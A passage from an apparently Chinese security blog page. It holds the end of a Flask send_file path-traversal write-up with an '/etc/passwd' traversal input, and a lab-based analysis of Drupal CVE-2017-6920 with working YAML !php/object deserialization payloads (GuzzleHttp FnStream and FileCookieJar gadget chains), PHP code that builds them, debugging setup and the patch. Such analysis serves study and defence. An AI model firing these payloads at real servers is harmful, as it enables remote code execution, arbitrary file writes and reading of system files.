os.path.join(_root_path,path_or_file) '/../../../../../../../etc/passwd' 我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时，它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时，我们控制恶意参数输入绝对路径，os.path.join 会完全忽略静态目录。所以，当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时，可能会目录遍历攻击。漏洞复现我们在本地构造简单的代码进行测试，获取从外部传入的参数 filename from flask import Flask, request from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile(): filename = request.args.get('filename') return send_file(filename, as_attachment=True) if __name__ == '__main__': app.run() 通过控制 filename 为绝对路径，就实现了目录穿越漏洞　　总结反思这个漏洞非常的有趣，漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。这个漏洞虽然很简单，但是在 github 上很多用 python 开发的项目都用了这个函数，如果不加以修复，会造成很大的危害。

浅析websocket劫持

【漏洞分析】Drupal 远程代码执行（CVE-2017-6920）

前几天在参加 FOFA-攻防挑战赛时，遇到了 Drupal 的盲盒漏洞环境，最终确定漏洞为 CVE-2017-6920 ，但是还是无法 getflag ，因为网上相关参考文章并不是很多，大多都只是简单的复现了，于是就想着对这个漏洞进行一个详细的分析。漏洞描述环境搭建环境的搭建，我们可以选择 p神的 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2017-6920 上的环境，我们也可以利用 https://vulfocus.cn/ 的在线环境，或者将镜像拉取下来本地启动。因为 p 神的环境还需要再进行配置 yaml ，为了方便，我们这里就选择 vulfocus 的镜像来进行复现学习　　 docker pull vulfocus/drupal-cve_2017_6920:latest docker ps 　　访问随机生成的端口 49156 http://127.0.0.1:49156/ 漏洞复现访问登录界面 http://127.0.0.1:49156/user/login 输入账号密码 admin:admin123 登录成功登陆成功后访问路由 /admin/config/development/configuration/single/import 填写相关参数　　!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 点击 import 触发漏洞漏洞分析漏洞存在于 drupal 8.3.3 所以我们下载存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比，发现漏洞位于 core\lib\Drupal\Component\Serialization\YamlPecl.php 我们看到修改的位置有这么一句 // We never want to unserialize !php/object. 就大概可以推测出是在这个地方，以!php/object 为开头时会产生反序列化漏洞　　为了方便进行调试，所以我们换一下 docker 启动时的命令，方便启动后进行 php 远程调试，在配置调试环境时出现了各种问题，本来是在本地搭建 docker 环境进行调试的，但是一直没有成功，所以就采用在虚拟机中搭建 docker 环境，采用远程调试。　　 docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest wget https://xdebug.org/files/xdebug-2.5.5.tgz docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz docker exec -it 30 /bin/bash cd / tar xvf xdebug-2.5.5.tgz cd xdebug-2.5.5 phpize find / -name php-config `/etc/alternatives/php-config` `/usr/bin/php-config` `/var/lib/dpkg/alternatives/php-config` ./configure --enable-xdebug --with-php-config=/usr/bin/php-config make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/== find / -name php.ini `/etc/php5/cli/php.ini` `/etc/php5/apache2/php.ini` vim /etc/php5/apache2/php.ini ==修改 php.ini 文件== shift + g ==定位到最后一行== echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php sudo service apache2 restart 　　　　修改php.ini配置文件，在文件中追加以下内容 [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径 xdebug.remote_enable=1 ;是否开启远程调试 xdebug.remote_handler=dbgp ;指定远程调试的处理协议 xdebug.remote_mode=req ;可以设为req或jit，req表示脚本一开始运行就连接远程客户端，jit表示脚本出错时才连接远程客户端。 xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名（安装phpstorm的主机ip） xdebug.remote_port=9001 ;指定远程调试的端口号 xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key xdebug.remote_enable=on; [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so; xdebug.remote_enable=1; xdebug.remote_handler=dbgp; xdebug.remote_mode=req; xdebug.remote_host=192.168.222.1; xdebug.remote_port=9001; xdebug.idekey="PHPSTORM"; 访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功　　先将代码拷贝出来 docker cp 30:/var/www/html html 利用 PHPSTROM 打开项目代码 File -> Settings -> Languages & Frameworks -> PHP -> Debug 配置 Servers 此处要注意，需要直接指定到网站的目录位置配置PHP Web Application 配置完成后打开右上角的电话按钮打开浏览器的插件 Xdebug helper 　　在 phpinfo 处加载断点，并访问 http://192.168.222.129/phpinfo.php成功加载到断点之前也配置过 PHP 的远程调试环境，但是在 Docker 里面调试的时候，配置了很久的调试环境，最后才成功，中间出了大大小小无数的问题，遇到的最大的问题是最开始端口一直显示被占用状态，因为我启动 docker 时的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来，但是我在调试时发现一直提示端口被占用，百思不得其解，采用百度大法看到了这么一句不要在docker-compose 中添加 9000 端口，我灵机一动，将 -p 9001:9 　　正式开始调试分析漏洞的最终触发位置是在 core/lib/Drupal/Component/Serialization/YamlPecl.php::decode 对传入的参数 $raw 如果可控的话，如果使用!php/object，那么yaml_parse将会以反序列化（unserialize）的形式来进行处理字符串。我们看在哪里可以调用 YamlPecl.php::decode core/lib/Drupal/Component/Serialization/Yaml.php::decode decode 函数中调用了静态 getSerializer 函数　　如果存在 yaml 扩展，$serializer 就使用 YamlPecl 类，之后会调用 YamlPecl 类中的 decode 函数；如果不存在 yaml 扩展，$serializer 就使用 YamlSymfony 类，之后会调用 YamlSymfony 类中的 decode 函数。目前的环境是已经安装了 yaml 扩展了，所以我们只需要寻找，可控输入的 Yaml::decode core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm 如此我们就已经确定了漏洞的触发位置，以及漏洞的入口点，但是距离漏洞的利用成功还差一个 payload 我们已经知道这个漏洞是一个反序列化漏洞，我们就要找出这个系统中存在的反序列化链，针对这个漏洞有两条利用链路，任意命令执行以及任意文件写入任意命令执行 html\vendor\guzzlehttp\psr7\src\FnStream.php 反序列化这个类造成任意无参数函数执行 <?php namespace GuzzleHttp\Psr7; class FnStream { public function __construct(array $methods) { $this->methods = $methods; // Create the functions on the class foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } } } $fn = new FnStream(array('close'=>'phpinfo')); echo(serialize($fn)) ?> 序列化字符串加上yaml的!php/object !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 任意文件写入 html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php 反序列化这个类达到任意文件写入的效果，但是因为这个系统启动并不是 root 权限启动，所以只有在 tmp 目录下写文件的权限 <?php require __DIR__.'/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $Limerence = new FileCookieJar('/tmp/shell.txt'); $payload = '1'; $data=array( 'Name' => "Limerence", 'Value' => "Limerence", 'Domain' => $payload, 'Expires' => time() ); $Limerence->setCookie(new SetCookie($data)); echo(addslashes(serialize($Limerence))); !php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCoo 　　漏洞修复根据对比官方对 drupal 8.3.4 的修补，我们得出针对低于版本 drupal 8.3.4 的代码中在 core\lib\Drupal\Component\Serialization\YamlPecl.php 的 decode 函数修改为 public static function decode($raw) { static $init; if (!isset($init)) { ini_set('yaml.decode_php', 0); $init = TRUE; } if (!trim($raw)) { return NULL; } set_error_handler([__CLASS__, 'errorHandler']); $ndocs = 0; $data = yaml_parse($raw, 0, $ndocs, [ YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]); restore_error_handler(); return $data; } 　　总结反思之前也实现过远程调试，但是对 docker 内的系统进行调试还没有做过，不对的试错过程中，也对 docker 进一步加深的认知与了解。

第2页第3页第4页第5页第6页第7页第8页第9页第10页第11页第12页第13页第14页第15页第16页第17页第18页第19页第20页第21页第22页第23页第24页第25页第26页第27页第28页第29页第30页第31页第32页第33页第34页第35页第36页第37页第38页第39页第40页第41页第42页第43页第44页第45页第46页第47页第48页第49页第50页第51页第52页第53页第54页第55页第56页第57页第58页第59页第60页第61页第62页